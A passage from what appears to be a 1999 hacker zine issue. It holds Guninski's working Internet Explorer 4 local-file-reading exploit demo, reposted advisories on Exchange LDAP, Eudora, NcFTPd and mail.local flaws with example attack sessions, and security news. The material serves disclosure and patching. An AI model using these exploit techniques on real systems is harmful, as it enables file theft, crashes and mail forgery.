page</A></H1></BODY></HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com"); </SCRIPT> <A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A> </BODY> </HTML> Demo #3 <HTML> <HEAD><TITLE> Guninski's IE 4 reading AUTOEXEC.BAT. </TITLE> </HEAD> <BODY> There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server. <BR> The problem is: if you add '%01someURL' after the an about: URL, IE thinks that the document is loaded from the domain of 'someURL'. <BR> This circumvents "Cross-frame security" and opens several security holes. <BR> This will try to read C:\AUTOEXEC.BAT using TDC. <BR> The bug may be exploited using HTML mail message. The exploit uses Javascript. For more info see the source. <BR> <BR> Workaround: Disable Javascript. <BR> <SCRIPT> alert('This tries to read your AUTOEXEC.BAT\nWait few seconds.') s="about:<SCRIPT>a=window.open('view-source:x');a.document.open();a.document.write(\"<object id='myTDC' width=100 height=100 classid='CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83'>" +"<param name='DataURL' value='c:/autoexec.bat'><param name='UseHeader' value=False><param name='CharSet' VALUE='iso-8859-1'><param name='FieldDelim' value='}'><param name='RowDelim' value='}'><param name='TextQualifier' value='}'>" +"</object><form><textarea datasrc='#myTDC' datafld='Column1' rows=10 cols=80></textarea></form>\");a.document.write('<SCRIPT>setTimeout(\"alert(document.forms[0].elements[0].value)\",4000)</SCRIPT');a.document.write('>');a.document.close();close()</"+"SCRIPT>%01file://c:/"; b=showModalDialog(s); </SCRIPT> <A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A> </BODY> </HTML> This was reported in an earlier version and last issue of the zine but is included here for new readers whom may be unaware or have not read the earlier issues. - Ed 04.0 Wintrasher GOLD ~~~~~~~~~~~~~~~ This program bears some looking at, when I first saw it on packetstorm I thought the same thing i thought when I first heard of Genius's release and thats pure scepticism, anyways I checked it out and its pretty damn cool you might want to check it out too, 1.6M heres the blurb from packetstorm: Wintrasher GOLD v5.2 - Wintrasher is a powerful utility that can be ussed to configure hidden Windows settings, acting as a Windows Shell and Desktop Management Tool. Many of the settings that change the way Windows works and looks are hidden in the overwhelming registry, or in configuration files. WT-GOLD gives you an easy way to configure those settings. This version also includes, backup of critical system files, improved active desktop-calendar, popup-reminder, and much much more. Features: Get you computer to start in pure DOS again. Change the shortcut arrow to whatever you want. Check your files for changes at startup, and prevent infection by unknown viruses. Log file editor, to View/Edit/Clear all your Windows log files from one program. (improved from the PRO version). Personalize your Desktop pictures. Change the Windows 9x folder structure. Watch what the uninstall programs call, when they launch, create your own and remove any you don't want. Watch what windows launches behind your back. (Edit/Remove/Insert) Change the layout of your Deskop, and some of it's features. Clear your history files when leaving Windows. Log logins at startup. Change your registration information. Forgot your password to Windows9x? Retrieve or remove the password files directly. Got a habit of forgetting stuff? The Wintrasher Calendar & Popup is with you every time you start Windows. Has your system ever crashed, or ever wished that you didn't install that program? The system backup feature backs up critical system files, including the Registry. Lock your system as with Windows NT with one click. Make sure you are the only one that can use Wintrasher at the station, by password-protecting WT-Gold. For Windows 95/98. 1.6 MB. By The Silents Denmark. Packetstorm download: http://www.genocide2600.com/~tattooman/utility-nt/wtgold.zip Main site: http://www.silents.dk/ 05.0 LDAP buffer overflow ~~~~~~~~~~~~~~~~~~~~~ From: X-Force <xforce@iss.net> To: BUGTRAQ@netspace.org <BUGTRAQ@netspace.org> Subject: ISS Security Advisory: LDAP Buffer overflow against Microsoft Directory Services Date: 1999. oujak 16 22:03 -----BEGIN PGP SIGNED MESSAGE----- ISS Security Advisory March 15, 1999 LDAP Buffer overflow against Microsoft Directory Services Synopsis: ISS X-Force has discovered a buffer overflow exploit against Microsoft Exchange's LDAP (Lightweight Directory Access Protocol) server which allows read access to the Exchange server directory by using an LDAP client. This buffer overflow consists of a malformed bind request that overflows the buffer and can execute arbitrary code. This attack can also cause the Exchange LDAP service to crash. This vulnerability exists in Microsoft Exchange Server version 5.5. Description: This exploit occurs during the LDAP binding process. Binding involves logging in or authenticating to a directory, and consists of sending a username, a password, and a binding method. There are two methods in which to use this vulnerablility against an Exchange server. The first consists of sending a particular type of invalid LDAP bind packet which will cause an overflow to occur this will cause the LDAP service to crash. The second uses a large malformed LDAP bind packet that is carefully crafted to take advantage of the buffer overflow and can be used to execute arbitrary code. Recommendations: Microsoft has made a patch available for the LDAP attack. Patch information is available at: http://www.microsoft.com/security/bulletins/ms99-009.asp Network administrators can protect internal systems from external attack by adding a rule to a filtering router or firewall of the type: Deny all incoming TCP packets with a destination port of 389. Many firewalls or packet filters may already have more restrictive rulesets that already encompass this filtering rule, in which case the network is already protected from an external attack. This ruleset would include filtering all incoming traffic to TCP port 389. Additional Information: These vulnerabilities were primarily researched by the ISS X-Force. ________ Copyright (c) 1999 by Internet Security Systems, Inc. Permission is hereby granted for the electronic redistribution of this Security Advisory. It is not to be edited in any way without express consent of the X-Force. If you wish to reprint the whole or any part of this Security Advisory in any other medium excluding electronic medium, please e-mail xforce@iss.net for permission. Internet Security Systems, Inc. (ISS) is the leading provider of adaptive network security monitoring, detection, and response software that protects the security and integrity of enterprise information systems. By dynamically detecting and responding to security vulnerabilities and threats inherent in open systems, ISS's SAFEsuite family of products provide protection across the enterprise, including the Internet, extranets, and internal networks, from attacks, misuse, and security policy violations. ISS has delivered its adaptive network security solutions to organizations worldwide, including firms in the Global 2000, nine of the ten largest U.S. commercial banks, and over 35 governmental agencies. For more information, call ISS at 678-443-6000 or 800-776-2362 or visit the ISS Web site at http://www.iss.net. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://www.iss.net/xforce/sensitive.html as well as on MIT's PGP key server and PGP.com's key server. X-Force Vulnerability and Threat Database: http://www.iss.net/xforce Please send suggestions, updates, and comments to: X-Force <xforce@iss.net> of Internet Security Systems, Inc. -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBNu3GuzRfJiV99eG9AQF48wP+J1/vW040sA5f9Nz56JEF9s6d/tpainG1 Qw7Jxbry374IFinJZfk/K5FJkdbjJfMcyGfgWJjNriYZJ0EKFkQcRK7XNAUe8AGu LWaBW4l0v1Qox3ueR3GdCskQ8haK9vpxkFkbPmlefIWKMsVhncQPloJwU3/WyPNV uLJBWqHEpkU= =Zp+/ -----END PGP SIGNATURE----- From Help Net Security http://net-security.org/ PATCH FOR "MALFORMED BIND REQUEST" by BHZ, Wednesday 17th Mar 1999 on 8:40 pm CET Microsoft has released a patch that eliminates a vulnerability in the LDAP Bind function for Microsoft (r) Exchange (r) 5.5. The vulnerability could allow denial of service attacks against an Exchange server or, under certain conditions, could allow arbitrary code to be run on the server. A fully supported patch is available, and Microsoft recommends that customers who are at risk from this attack download and install it. You can obtain patch for X86-based Exchange or Alpha-based Exchange @HWA 06.0 HP Security bulletin: HPTerm exploitability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Thu, 18 Mar 1999 12:36:13 -0800 From: aleph1@UNDERGROUND.ORG Reply-To: support_feedback@us-support.external.hp.com To: BUGTRAQ@netspace.org Subject: Security Bulletins Digest HP Support Information Digests =============================================================================== o HP Electronic Support Center World Wide Web Service --------------------------------------------------- If you subscribed through the HP Electronic Support Center and would like to be REMOVED from this mailing list, access the HP Electronic Support Center on the World Wide Web at: http://us-support.external.hp.com Login using your HP Electronic Support Center User ID and Password. Then select Support Information Digests. You may then unsubscribe from the appropriate digest. =============================================================================== ? Digest Name: Daily Security Bulletins Digest Created: Thu Mar 18 3:00:02 PST 1999 Table of Contents: Document ID Title --------------- ----------- HPSBUX9903-093 Security Vulnerability with hpterm on HP-UX 10.20 The documents are listed below. ------------------------------------------------------------------------------- ? Document ID: HPSBUX9903-093 Date Loaded: 19990317 Title: Security Vulnerability with hpterm on HP-UX 10.20 ------------------------------------------------------------------------- HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00093, 18 March 1999 ------------------------------------------------------------------------- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. ------------------------------------------------------------------------- PROBLEM: PHSS_13560 introduced a library access problem into hpterm. PLATFORM: HP9000 Series 700 and Series 800, HP-UX release 10.20 only. DAMAGE: Users can gain increased privileges. SOLUTION: Install PHSS_17830. AVAILABILITY: The patch is available now. ------------------------------------------------------------------------- I. A. Background PHSS_13560 introduced a library access problem into hpterm, the terminal emulator for the X Window system. (See hpterm(1)). B. Fixing the problem Installing patch PHSS_17830 completely fixes this problem. NOTE: Three older hpterm patches have been released including PHSS_13560, PHSS_15431, and PHSS_17332. All of these older patches are being superseded with the release of the PHSS_17830. Do not use PHSS_13560, PHSS_15431, or PHSS_17332. C. To subscribe to automatically receive future NEW HP Security Bulletins from the HP Electronic Support Center via electronic mail, do the following: Use your browser to get to the HP Electronic Support Center page at: http://us-support.external.hp.com (for US, Canada, Asia-Pacific, & Latin-America) http://europe-support.external.hp.com (for Europe) Login with your user ID and password (or register for one). Remember to save the User ID assigned to you, and your password. Once you are in the Main Menu: To -subscribe- to future HP Security Bulletins, click on "Support Information Digests". To -review- bulletins already released from the main Menu, click on the "Technical Knowledge Database (Security Bulletins only)". Near the bottom of the next page, click on "Browse the HP Security Bulletin Archive". Once in the archive there is another link to our current Security Patch Matrix. Updated daily, this matrix categorizes security patches by platform/OS release, and by bulletin topic. The security patch matrix is also available via anonymous ftp: us-ffs.external.hp.com ~ftp/export/patches/hp-ux_patch_matrix D. To report new security vulnerabilities, send email to security-alert@hp.com Please encrypt any exploit information using the security-alert PGP key, available from your local key server, or by sending a message with a -subject- (not body) of 'get key' (no quotes) to security-alert@hp.com. Permission is granted for copying and circulating this Bulletin to Hewlett-Packard (HP) customers (or the Internet community) for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to HP, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. HP is not liable for any misuse of this information by any third party. _______________________________________________________________________ -----End of Document ID: HPSBUX9903-093-------------------------------------- @HWA 07.0 Eudora buffer overflow exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from enext.dyndns.org (port25.mico10.tir.com [216.40.137.210]) by netspace.org (8.8.7/8.8.7) with ESMTP id CAA18560 for <BUGTRAQ@netspace.org>; Sat, 20 Mar 1999 02:17:38 -0500 Received: from localhost (whiz@localhost) by enext.dyndns.org (8.8.7/8.8.7) with ESMTP id CAA12075 for <BUGTRAQ@netspace.org>; Sat, 20 Mar 1999 02:21:35 -0500 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.04.9903200215340.12022-100000@enext.dyndns.org> Date: Sat, 20 Mar 1999 02:21:35 -0500 Reply-To: whiz <whiz@ENEXT.DYNDNS.ORG> Sender: Bugtraq List <BUGTRAQ@netspace.org> From: whiz <whiz@ENEXT.DYNDNS.ORG> Subject: Eudora Attachment Buffer Overflow To: BUGTRAQ@netspace.org I have found another problem with Eudora, attachments, and long filenames that is similar to the the problem I found last year. If two messages are sent to an Eudora 4.1 user that have an attachment with a filename of around 231 or more, the next time the user checkes his mail Eudora crashes. I say 231 because C:\Program Files\Eudora\Attach\ is 31 characters + 231 = 262 = longer then Windows can handle. Eudora trucates the long filename correctly and thats why you cant't send just one messages with a long name, like you use to be able to do with Eudora 4.0. But it truncates it so the the path length is 259 characters which is the maximum. Then when it receives the second attachment it truncates, and trys to add a 1 to the end, this is where it crashes. This allows you to modify the return address to point to arbitrary code. Here is how i tested: Send message to myself with attchment that has a long filename Resend exact message Check my mail Eudora crashes Both the Win 95 and Win NT versions, along with the 4.2 beta of Eudora are affected. The vendor of Eudora, Qualcomm was notified of this problem on 3/12/99. -whiz whiz@enext.dyndns.org http://enext.dyndns.org/~whiz/ @HWA 08.0 Netscape SUSE crash exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Return-Path: <owner-bugtraq@netspace.org> Approved-By: aleph1@UNDERGROUND.ORG Date: Fri, 19 Mar 1999 22:45:02 -0800 Reply-To: Aleph One <aleph1@UNDERGROUND.ORG> Sender: Bugtraq List <BUGTRAQ@netspace.org> From: Aleph One <aleph1@UNDERGROUND.ORG> Subject: Security hole in Netscape Communicator's 4.5 "talkback" function To: BUGTRAQ@netspace.org ______________________________________________________________________________ SuSE Security Announcement Package: netscape-4.5-9 Date: Thu Mar 18 10:22:11 CET 1999 Affected: unix operating systems using netscape communicator 4.5 ______________________________________________________________________________ A security whole was discovered in the package mentioned above. Please update as soon as possible or disable the service if you are using this software on your SuSE Linux installation(s). Other Linux distributions or operating systems might be affected as well, please contact your vendor for information about this issue. Please note, that that we provide this information on as "as-is" basis only. There is no warranty whatsoever and no liability for any direct, indirect or incidental damage arising from this information or the installation of the update package. ______________________________________________________________________________ 1. Problem Description The Netscape Communicator 4.5 comes with "talkback", a quality enhancement tool by Fullcircle (www.fullcircle.com). If the communicator crashs for any reason, the file with the name /tmp/.$UID.talkback is read in, and the pid in this file is killed. After that, the file is truncated/created without checks for {sym|hard}links and the pid of the current talkback process is written into the file. 2. Impact Anyone on the system can kill a process of users if their communicator crashs. Anyone on the system can overwrite/create any file an attacked users# has write access to. We didn't check if there's a buffer overflow possible when the talkback application reads in the file. 3. Solution Disable talkback. You may do this my executing the following commands (your path to netscape may differ): /bin/mv /opt/netscape/talkback /opt/netscape/talkback.disable /bin/chmod -R 600 /opt/netscape/talkback Netscape responded to this vulnerability that the current version does not install the talkback application. You may install the new version 4.51 from Netscape which also fixes some other security vulnerabilities. However, if you update from a 4.5 installation, ensure that you execute the lines above. ______________________________________________________________________________ SuSE has got two free security mailing list services to which any interested party may subscribe: suse-security@suse.com - unmoderated and for general/linux/SuSE security discussions. All SuSE security announcements are send to this list. suse-security-announce@suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to majordomo@suse.com with the text subscribe suse-security or subscribe suse-security-announce in the body of the message. Or just issue a echo subscribe suse-security | mail majordomo@suse.com or echo subscribe suse-security-announce | mail majordomo@suse.com ______________________________________________________________________________ If you want to report *NEW* security bugs in the SuSE Linux Distribution please send an email to security@suse.de or call our support line. You may use pgp with the public key below to ensure confidentiality. ______________________________________________________________________________ This information is provided freely to everyone interested and may be redistributed provided that it is not altered in any way. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security@suse.de> -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i <SNIP> -----END PGP PUBLIC KEY BLOCK----- @HWA 09.0 Hotmail to plug potential security problem ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HOTMAIL BUG by BHZ, Sunday 21th Mar 1999 on 3:01 am CET The security hole, that Hotmail plans to plug, could make users who access Hotmail through a public terminal or other shared computer vulnerable to the prying eyes of subsequent users. Hotmail said it had caught the security problem during a routine security audit and was close to implementing its fix, which is to stop authentication by IP address and require the use of cookies. The service noted that users currently can protect themselves against the exploit by opting for cookie-based authentication. Contributed by Thejian. @HWA 10.0 NcFTPd Exploit (old but missed in earlier issues) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This advisory is from Proof Of Concept Proof of Concept - Security Advisory 02/23/99 http://poc.csoft.net Released by poc@csoft.net sw3wn@poc.csoft.net --- Affected Program NcFTPd <http://www.ncftp.com> Description FTP server (commercial) Severity Theoretical root compromise, logs compromise Synopsis: NcFTPd is a commercial FTP (File Transfer Protocol) server, in the NcFTP product line. The source code is not publicly released. This was tested on Linux with libc5 (there's a glibc2 specific version available). Problem: NcFTPd's PORT parsing function has a stack buffer overflow problem, which would basically allow a user to remotely execute arbitrary code - the thing here is that the PORT parsing function seem to change characters, that are not in the range 0x30-0x39 (ASCII '0'-'9'), into 0x20 (ASCII space), hence making an exploit almost impossible (note that, if ascii 0x40 would be allowed that would be a different story =p). The program only parses for characters out of the 0-9 range in a specific area in memory (the one that contains return address heh) - the rest is kept unchanged, and you can't really go further in memory, input line size is restricted. Like with most buffer overflows there are probably work-arounds to exploit it - this could have been a particulary neat exploit, since it runs as a child and one could gain access transparently without crashing the parent. The current bug is not really a problem, it can crash the child process with a segfault, the parent process receives a signal 6 (abort) and the child process stay zombie for a few seconds and a brand new one is created. A few minor DoS attacks are possible but, who cares. Oh and this could be used to not get listed in the logs too. Example: -- evil:$ nc victim ftp 220 victim NcFTPd Server (unregistered copy) ready. user anonymous 331 Guest login ok, send your complete e-mail address as password. pass some@thing 230-You are user #1 of 50 simultaneous users allowed. 230- 230 Logged in anonymously. port 00000000000000000000000000000000000000000000 (...) 501 Syntax error in parameters. evil:$ -- Status: I contacted the authors, nice enough to send me back the piece of code that causes the problem - here goes: static int ftp_aton(const char *cp, struct sockaddr_in *sinaddr) { char buf[64]; char *dst; char *dstlim; int i, c; unsigned int octets[6], u; memset(sinaddr, 0, sizeof(struct sockaddr_in)); dst = buf; dstlim = dst + sizeof(buf); for ( ; ; ) { c = *cp++; if (c == '\0') break; if (! isdigit(c)) c = ' '; if (dst < dstlim) *dst++ = c; } *dst = '\0'; if (sscanf(buf, "%u%u%u%u%u%u", &octets[0], &octets[1], &octets[2], &octets[3], &octets[4], &octets[5] ) != 6) { return (-1); } for (i=0; i<6; i++) { if (octets[i] > 0xFF) return (-1); } sinaddr->sin_family = AF_INET; u = (octets[0] << 24) | (octets[1] << 16) | (octets[2] << 8) | (octets[3]); sinaddr->sin_addr.s_addr = htonl(u); u = (octets[4] << 8) | (octets[5]); sinaddr->sin_port = htons((unsigned short) u); return (0); } /* ftp_aton */ void Port(char *line) { if (gLoggedIn == 0) { NotLoggedIn(); return; } if (gAllowPORT == 0) { Reply("550 This site does not permit PORT. Please use PASV instead.\r\n"); return; } if (ftp_aton(line, &gRemoteDataAddr) < 0) { Reply("501 Syntax error in parameters.\r\n"); return; } /* ... */ } @HWA 10.1 NcFTPd proxy exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept - Security Advisory 02/16/99 http://poc.csoft.net Released by poc@csoft.net sw3wn@poc.csoft.net --- Affected Program NcFTPd <http://www.ncftp.com> Description FTP server (commercial) Severity Default PORT setup, log compromise Synopsis: NcFTPd is a commercial FTP (File Transfer Protocol) server, in the NcFTP product line. The source code is not publicly released. This was tested on Linux with libc5 (there's a glibc2 specific version available). Overview: To initiate a FTP transfer, there must be two connections, one control connection (server's ftp port), and one data connection. When a client wants to tell the server where to send the data (ie. a file you want to download, or a directory listing), it must use the command PORT - in which the destination address and port is specified. Problem: NcFTPd does not check that the destination PORT address is the user's IP. This means anybody can transmit data from the server anywhere, anonymously. Obviously this can lead to potential `easy' DoS attacks and spoofing (say, someone uploads a file containing commands of something to incoming, PORT to some host/port, and use RETR (retrieve file)). Such connections are possible with the default NcFTPd configuration, but can be disallowed: general.cf> allow-outgoing-proxy-data-connection-ports-below-1024 - no general.cf> allow-proxy-connections - no Most other FTP server daemons I've tried has this feature disabled - even if the proxy connections are a documented part of RFC 959 (FTP protocol). But this is no big deal, just a possible amelioration. I made an example program that listens on a port and dumps arbitrary received data in string, hex or ascii/hex format, and sends back EOF (needed for FTP data transfer). [http://poc.csoft.net/code/listerine/listerine.tar.gz] Example: evil:$ telnet victim ftp # victim runs NcFTPd user anonymous # anonymous is up by default pass some@thing port 192,168,0,1,5,131 # connect on port 1411 retr incoming/stuff # send arbitrary data, as it # was coming from host victim. To see for yourself, you can run my example program `listerine', on the host victim. I tested this on my LAN and on remote machines too. Status: Got response from authors, the problem can be fixed indeed with the general.cf options mentionned above, but are not enabled with default configuration. .sw3 @HWA 10.2 Mail.local sendmail exploit advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept - Security Mini-advisory 02/15/99 http://poc.csoft.net Released by poc@csoft.net sw3wn@poc.csoft.net --- Affected Program mail.local (Berkeley Sendmail) Description Local mailer (forward mail to mailboxes) Severity Mailbox compromise Synopsis: mail.local is a small program distributed with Berkeley Sendmail, used as a local mailer (forwards mail to mailboxes), also able to handle LMTP commands. It runs SUID root in order to access the users's mailbox (ie. /var/spool/mail, /usr/spool/mail). Overview: When mail has to be written to a user's mailbox locally, a local mailer is used; the mail.local program that comes with Sendmail does this task, but does not restrict the length of a message, or does not check the authenticity of the user who sends it. This is obviously not a big security issue - but still, it has to get fixed, as this could lead to more serious problem if used on a system with lots of e-mail accounts. Problem: This can lead to the compromising of anybody's mailbox - from fake (and totally untraceable messages), to flooding the mailbox (and maybe the hard drive). I found this by inspecting the source code for buffer overflows heh. Say I wanted to send a fake message like it was coming from root to user joe, simply running mail.local -f root joe <message+eof> could do it. mail.local simply dumps the message as you enter it in the user's maibox. Since mail.local does not checks for message length, you can flood a mailbox (and possibly the hard drive) in a matter of seconds. Finally, mail.local only check if a user exists by using /etc/passwd, that means anybody could create mailboxes for users like bin, nobody, etc (usually it's no security compromise). Examples: [http://poc.csoft.net/advs/mail.local/mailfrm.tar.gz] [http://poc.csoft.net/advs/mail.local/junk.tar.gz] Patch/Fix: [http://poc.csoft.net/advs/mail.local/mail.local.diff] Status: As of 02/22/99, I received a e-mail from the authors, the program should be shipped non-setuid in 8.10. .sw3 @HWA 11.0 Its in the bag, the great hacker backpack caper... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I really debated giving this any space at all but it is pertinent to the mainstream ideals that are being generated by the media so its here.... *sigh* - Ed March 24th 1999 via wired news Hackers Sack Competition Site by Leander Kahney 5:00 p.m. 23.Mar.99.PST Having baited crackers with a "hacking" competition to win a backpack, a retailer's site has been hacked for real. <sic> As previously reported, a Belgian bag manufacturer is giving a "Hacker" branded backpack to everyone that cracks a password competition on its Web site. But on Tuesday Kipling's site was hacked for real. The opening page was replaced with a screen grab that showed a big red cross and the message: "Sorry, we've been hacked.... Site under reconstruction." The altered page stayed up for most of Tuesday, and Kipling was unavailable for comment. <sic> The site intrusion may have been retaliation for disparaging remarks made about crackers by a Kipling vice president. Shortly before the site was hacked, the password competition was finally cracked. It took a week of trying, claimed Mooby, a hacker who organized a brute force method of using software to generate all possible combinations. The crackers' efforts finally paid off over the weekend, Mooby said in an email. Ironically, the password wasn't cracked by software, but obtained by a more traditional method -- weaseling it out of someone. "It's a pity that I can't tell how I got the final password/login," he wrote. "We never would have guessed [it]. Let's just say I used some of my nerd-heroic social skills to get the right things." Having obtained the password, Mooby shared it. "I hope Kipling sends me this backpack," he wrote, "and all the other 99 people I told the password." -=- -=- Date: Sat, 20 Mar 1999 05:20:50 -0700 (MST) From: mea culpa <jericho@dimensional.com> To: InfoSec News <isn@repsec.com> Subject: [ISN] Retailer Frustrates Hackers http://www.wired.com/news/news/culture/story/18616.html Retailer Frustrates Hackers by Leander Kahney 3:00 a.m. 20.Mar.99.PST Promoting a new line of backpacks aimed at "hackers," a European bag manufacturer is running a crack-the-password competition on its Web site. But to the fury of hackers trying to bypass the competition and crack the site in earnest, all attempts to date have been unsuccessful. According to an amusing line of posts to Slashdot, an information clearinghouse for computer nerds, the hackers reveal their mounting frustration at being unable to thwart the password competition. "Come on!" wrote one. "Out of the 10,000 people who have read this article, no one has found the username and password? I find that very hard to believe. It has to be something completely insanely easy, right?" Apparently not. The "crack and win" password competition is organized by Kipling, a manufacturer of travel bags, backpacks, and accessories based in Antwerp, Belgium. The competition promotes its Hacker line of bags and backpacks, which have names like bookmark, mailbomb, browser, spam, firewall, and download. "The game challenges every pirate out there to break into our security and win a Hacker bag," the company said in a press release. "You can find the code in two ways," the release continued. "Real computer freaks will find the information in the traditional hacker manner. Those with less hacking experience can follow the hints which appear on the screen, which refer surfers to a Kipling sales point. Those who remain alert will surely find the letter/number code." Kipling confirmed it would give a bag to everyone who cracks the code, which takes the form of a username login and password. Rising to the challenge, readers of Slashdot quickly encouraged each other to break the code, just for the hell of it. But after a week of trying, most efforts have been abandoned. "I'm sorry to say that so far no one has been able to beat the login," said Slashdot contributor Greg Boyce, who offered to buy a Slashdot hat for the first person to crack it. "Turns out it was a bit more complicated than I thought it would be." The most ambitious attempt adopted a "brute force" strategy generating all possible combinations of username and password. Special software to automate the process is available on the Web. Other attempts ranged from examining the source code for the Web page, which is coded in Javascript, to breaking into the site. However, Kipling said attempts to breach the site's security have so far failed. "No one has cracked it," said Edith Iris, Kipling's marketing manager. "We've had no problems." To add to the hackers' irritation, Kipling also garbled the definitions of cherished computer terms in its marketing blurb. According to Kipling's site, "A hacker is a cunning computer expert who cracks the security systems of computers in order to steal or destroy information." But in the programming community, a malicious computer expert is called a "cracker." A hacker is simply a harmless programmer. "Hacker is the term in common parlance," countered Larry Lein, executive vice president of Kipling USA. "If you asked me what a cracker was, I'd say someone who lived in a trailer park down South." -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 12.0 DNS Spoofing finally resolved? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Sat, 20 Mar 1999 22:08:46 -0700 (MST) From: mea culpa <jericho@dimensional.com> To: InfoSec News <isn@repsec.com> Subject: [ISN] bind with DNSSEC finally released Sender: owner-isn@repsec.com Originally From: Lucky Green <shamrock@netcom.com> Originally To: cypherpunks@algebra.com Seems bind 8.2 with the long-awaited secure DNS fully integrated has finally been released. Say goodbye to DNS spoofing. Since the included crypto is meant to be used for authentication only and the licensing agreement prohibits the use of the said crypto for non-authentication purposes, the distribution is freely exportable. :-) Install bind 8.2 on your DNS server today and permanently fix one of the largest and longest-standing security holes on the Internet. ftp://ftp.isc.org/isc/bind/src/8.2/ --Lucky Green <shamrock@netcom.com> PGP 5.x encrypted email preferred -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 13.0 [ISN] IETF working group seeks to improve security alerting ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Thu, 18 Mar 1999 00:33:31 -0700 (MST) From: mea culpa <jericho@dimensional.com> To: InfoSec News <isn@repsec.com> Subject: [ISN] IETF working group seeks to improve security alerting Forwarded From: darek milewski <darekm@cmeasures.com> http://www2.nwfusion.com:8001/cgi-bin/print.cgi?article=http://www.nwfusion.com/news/1999/0316security.html Sound the alarm! IETF working group seeks to improve security alerting. By Sandra Gittlen Network World Fusion, 03/16/99 MINNEAPOLIS - An IETF working group has stepped up work on a protocol for broadcasting alerts of network breaches across proprietary security applications. The Intrusion Detection Message Exchange Protocol (IDMEP) would let applications - and system managers - quickly share information about attacks, according to IDMEP working group members. They are meeting here as part of an overall IETF conference. "[IDMEP] will be useful for attacks launched from one domain to another," says working group attendee Brian Tung, a computer scientist at the University of Southern California's Information Sciences Institute. "If a source domain notices an attack, it can notify the destination network. Right now, that's done by a human." The group had met last year at the IETF meeting in Orlando, but was unsuccessful in gaining consensus and had to revamp its plans. This time, meeting attendees seemed encouraged by the group's efforts. With the protocol, which could be based on SNMP Version 3, an alert detailing the type of attack in progress will be automatically sent across the network, along with a reference, such as a URL or a system file, where the network manager can find further information. That information could be the threshold setting of the alerter's system letting the recipient know what the alerter considers an attack or what the alerter suggests as a response for such an attack. Mark Wood, product line manager at Internet Security Systems in Atlanta, says IDMEP could dramatically improve responses to attacks because networks will be sharing information, not duplicating efforts. In fact, Tung says that hooking the IDMEP to policy networks could let users set up automatic responses to alerts and, therefore, ward them off. "There are a number of dollars to be had in [the intrusion detection tools] market," says Stuart Staniford-Chen, co-chair of the working group. In fact, the projected market for intrusion detection tools is expected to be $200 million, according to analysts at the Aberdeen Group, a Boston consultancy. "Therefore, we need to get moving on this [protocol]." Wood says he expects the protocol to be completed by the middle of next year, but products based on a proposed standard could be released as early as the first quarter of next year. Cisco and Axent are also working on the protocol. @HWA 14.0 Report: Military computers vulnerable ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.usatoday.com/life/cyber/tech/cte684.htm Report: Military computers vulnerable WASHINGTON (AP) - The military's key communications infrastructure linking combat, intelligence and command forces is dangerously vulnerable to attacks from cyberspace and requires urgent changes in Defense Department policy, said a study released Monday. The Command, Control, Communications, Computers and Intelligence systems, known as C4I, is compromised by security problems and also by a military culture prone to treating such problems as a lesser priority, the National Research Council reported. ''The rate at which information systems are being relied on outstrips the rate at which they are being protected,'' it said. ''The time needed to develop and deploy effective defenses in cyberspace is much longer than the time required to develop and mount an attack.'' Despite evidence of security lapses in C4I -- which handles communications and warning tasks all along the chain of command -- the Pentagon's ''words regarding the importance of information systems security have not been matched by comparable action,'' the report said. ''Troops in the field did not appear to take the protection of their C4I systems nearly as seriously as they do other aspects of defense,'' said the report, which Congress ordered the Pentagon to commission in 1995. The council is an independent organization chartered by Congress to advise the government. The report indicated the problems were due more to the Pentagon's management of the systems than to the technology itself. It cited C4I workers' lack of stature compared with traditional combat forces, compatibility problems between the services and a need for more budget flexibility on the matter from both the Defense Department and Congress. In a statement, the Pentagon acknowledged that the U.S. military's strength ''is our information technology,'' and that ''our dependence on such assets, which may be subject to malicious attack, makes information technology our weakness as well.'' It said that as the council's report was being prepared, the Defense Department had already improved protection against computer attack by implementing new programs, establishing a joint task force for computer defense and expanding training of its information technology personnel. But Kenneth Allard, an analyst who has written about C4I, said its weaknesses are in part the fault of ''Industrial Age'' military acquisition policies -- applying to computers as well as tanks, ships and aircraft -- that give the services their own procurement duties. Ships and tanks may perform different tasks, he said, 